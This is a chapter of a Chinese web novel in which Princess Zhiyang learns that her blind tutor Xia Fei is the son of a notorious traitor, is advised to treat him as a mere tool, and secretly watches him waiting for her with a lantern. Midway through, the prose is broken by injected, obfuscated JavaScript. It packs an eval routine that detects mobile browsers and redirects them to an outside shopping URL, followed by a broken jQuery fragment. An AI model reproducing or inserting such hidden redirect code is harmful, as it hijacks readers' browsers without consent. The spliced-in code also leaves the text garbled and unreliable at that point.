她心中的月光,眼前的人,却跪在那一对肮脏的石像前。
他为何也姓夏……
稚阳僵硬立在一旁,并不去扶他,问道:“你……和他们是什么关系?”
夏棐伏在地上很久才起身,回答她,“生我养我,不计一切让我活着的人,他们是我的父母。”
原来如此,稚阳懊恼自己怎么从没想过,他是祁朝的仕人,他也姓夏,故民口中唾弃的夏知舆便是靠祁人的嘉赏平步青云,反过头来对付萧朝。
“原来你是那个大叛臣的儿子……”她看向周围,所幸他们身在浮屠塔后面,那些踏歌的故民没人注意到这里,光是两个石人跪在这里已经被千锤万凿了,若是让他们知道叛臣之子就在这里,还不知饱受祁人欺凌的故民们会怎么对他。
稚阳一咬牙,上前用力把夏棐拉起来,捡起他的竹杖,可她却克制不住声音里的冷淡,“我们回去。”
躲着人群,她慌慌张张带夏棐逃离了浮屠塔。
回去的路上,山路遍地落叶,稚阳走在前面,竹杖另一头,夏棐走在后面,她不回头,只听着他踩碎落叶的脚步,每一步都像踩在她的心上。
天上的圆月依旧明亮,却把归路照得很冷。
回到书院门前,松柏默默伫立两旁,这里空无一人,经历过城中热闹喧天,更显得寂静。
稚阳停下脚步,松开夏棐的竹杖。
她想起祝山长曾经对他的称呼,“夏秉忱……”对她来说,这个名字念出来足够陌生,能让她的语气不带任何感情。
夏棐一整夜已经疲惫不堪,他垂下头,轻轻点头。
稚阳:“我之前没想到你是……”
“我明白,我都明白。”夏棐打断她,想让她不要再说下去。
“你为何,从来不曾跟我提起,如果我知道的话……”就算真的知道,难道在雀山就眼睁睁看着他下沉不管吗……她根本没有答案。
可他也不给她回答。
曾经对她知无不答、知晓一切的老师,如今却回答不了如此简单的问题。
“对不起。”夏棐沉默很久,只说得出一句抱歉。
稚阳也不知再向他问些什么,山风很冷,她该回去了。
“今天很晚了,我很困,也很累。”
“好,那早些休息吧。”
稚阳转身径直走进书院,没有再管夏棐,都已经回到书院门口,他肯定能自己找回青梅堂。
回到斋舍,她一头栽到床铺上,原本今年的中秋,是她最开心的一天,她向一个人表达了爱意,也收获了那人更深切的回应,可是现在……她觉得自己心肠是凉的。
想起谢建章祝汝琳对夏棐的态度,他们早就知道夏棐的身世,可是自始至终没有人告诉她,害她越陷越深。
她见过他跪他父亲的样子,便没法将他从叛国的仇恨中剥离出去。
不知不觉睡着,等她醒来时,枕头一片都是湿的。
清晨时分,她带着书本走出门,一时呆住,昨夜秋风吹起,庭中树的叶子落了满地,这时她才意识到,夏天已经彻底消逝,遍地都是盛夏的尸体……
她不想再去青梅堂,但还是要继续读书,于是她这几天久违地回到课堂,一直无精打采地坐在最后面,想认真听学长讲课,却又总是望着庭中树叶发呆。
连下了堂都不知道,直到祝山长出现,喊醒了她。
“真是新奇,怎么不去那边读书了?”
稚阳抬头,冷冷扫了一眼祝汝琳。
祝山长没有继续调侃,“公主若是有什么心事,不如去老夫那里坐坐,老夫也好给公主解答。”
坐在祝山长的闲院中,树影摇晃,投在清澈的茶碗里。
祝山长慢条斯理地投茶,注水,分茶,然后将冒着热气的茶碗放在稚阳面前。
“老臣最近又得了些新茶,回甘生津,劳烦公主品鉴。”
稚阳拾起茶碗一口闷下。
又被烫得全吐在地上。
祝山长及时挪开脚,以免被水溅到,“可惜我的茶,不是这么喝的。”
稚阳蹭掉嘴上的茶水,“为什么你们都没有人告诉我?”
“何事?与那夏少傅有关吗?”
稚阳冷哼一声,“你可知他父亲是谁?”
祝山长恍然,明白稚阳的怒气从何而来。
“夏知舆,叛萧投祁第一人,后来担任祁人的攻南将领,打下萧朝不少城池。原来公主在纠结这个。”
稚阳听完拍案而起,“你知道这么清楚,却一个字都不跟我说!”
祝山长那老狐狸笑了笑,“我以为公主知道呢。”
“我若知道,我……”
“公主就不去打扰他了?放他在旧书屋自生自灭?”
稚阳摇头,怔怔坐回去,她自知做不到。可若早些知道他是叛臣之子,至少……至少她不会放任自己爱上他。
“他父亲所做之事,和他本人对我们是否有用,并无关系,不值得公主纠结,除非,公主将一些多余之情,寄放在他身上。”
稚阳被说中,哑口无言,连脾气也没地发。
“唉,老臣也早就提醒过,他不是我们的同路人,又怎会跟公主同心同德……公主前些天,也当认识了不少雨州的故民?”
“那又如何?”
“公主可曾想过,你是萧家最后的血脉,是多少故民心中的指望,若教他们知道,公主竟对那攻破故国城池的叛贼之子动了心……公主将如何面对景阳殿下,又将那些诚心供奉萧天子的故国百姓置于何地?”
稚阳痛苦得无法言语,她早已接受她和夏棐不能长久,却没想到竟是比昙花一现,还要短暂。
“君王待臣子,用其才而已。公主要学的,是将他看作可用之器,能用则用,不能用则弃,最不该将他看作可爱之人。”
“你要我……我怎么可能这样对他……那岂不是跟……”她想都不敢想。
“公主向来嫌老臣多嘴,老臣也不敢多说,那至于路怎么走,公主自己定。”
稚阳想起那日夏棐与祝山长为她争辩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761178|208857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夏棐说她不该是个器皿,可如今,她却必须将他视为器具。
如此讽刺,她喜欢他的每一堂课,最终却必须违背他所教的东西。
———
从祝汝琳那里走出来,稚阳的心像是落入水中的石锚,在水流中晃晃悠悠,最终还是会无声地沉入湖底,没入泥沙。
她此时才真正明白她和夏棐并非同路人的含义,他们中间注定永隔一条天河。
早就该明白会是这样,只是一直在用孩子气的任性来逃避罢了。
真可笑,她一直信誓旦旦说自己会成长,会担起她的重任,可实际上,她一直不舍得长大。
这几日她一直刻意回避后山,可是想事想得出神时,一抬头,她又走回青梅堂。
她压抑呼吸,放慢脚步,很轻很轻地,如同做贼,贴近院墙……
睡在墙头上的狸奴睁开眼,向她喵了一声,稚阳吓了一跳赶紧把它抓下来。
放走狸奴,她踮起脚,从墙头上看进去,树上的青梅早已落尽,树叶变黄落地,想起初来时他一身伤痕躺在里面沉睡的样子,已经恍如隔世。
哥哥当初救他回来,其实也是想将他当成可用之器罢了。
夕阳西斜,稚阳偷偷向院中张望,那间旧书屋的门是敞着的,像是在等着谁来……
她已经好几天没来读书,也没有提前跟夏棐请假,自从中秋那日回来,她就没有来见过夏棐,如果现在去见他,他会如何呢,还会对她无奈的笑笑,便开始讲书吗……
她还有很多未完成的东西想送他,她准备了精致的硬纸册,新的砂墨,她还想给他抄更多的书,让他独自在黑暗中也不觉得无聊……
她明明很讨厌抄书的,现在却后悔之前没有再多抄一些给他,如今……还来得及吗?
她不知在这等什么,扒着墙的手酸了,她换个姿势,脚下的落叶已被她碾得粉碎,天光一点点从墙头上暗下去,她好几次告诉自己该走了,脚却像生了根,挪不动步子……
胡乱想着时,从旧书屋的黑暗中,终于慢慢浮现出一个人影,稚阳屏住呼吸,不敢发出一点声音。
那人蒙着眼纱,依旧是穿着单薄干净的旧袍,腰间很细,仍然笔直,与以往不同的是,他手里提着一盏灯笼,烛火在灯罩中轻颤,他走出来也不做什么,只提着孤零零的灯笼立在青梅树下……
树梢微风拂过,发出哗啦的响声,他微微抬头,却终归徒余失落。
天色渐渐昏暗,所有光亮都被夜色吞噬,清冷的院子里只剩夏棐手中的烛火还亮着。
一个瞎子,周围总是黑暗,他不需要光亮,所以这灯是……为她点亮的。
稚阳甚至不知道,是不是她不来的这些天,他都是这样无声地等。
她几乎忍不住想冲进去抱住他……
熟悉的庭院中溢满了水,眼前只有一盏水中的孤灯,烛火在水中荡漾,紧接着又被打碎。
稚阳不敢再看下去,慌慌张张地逃离。
是她打乱了一切,现在该抽身而去了。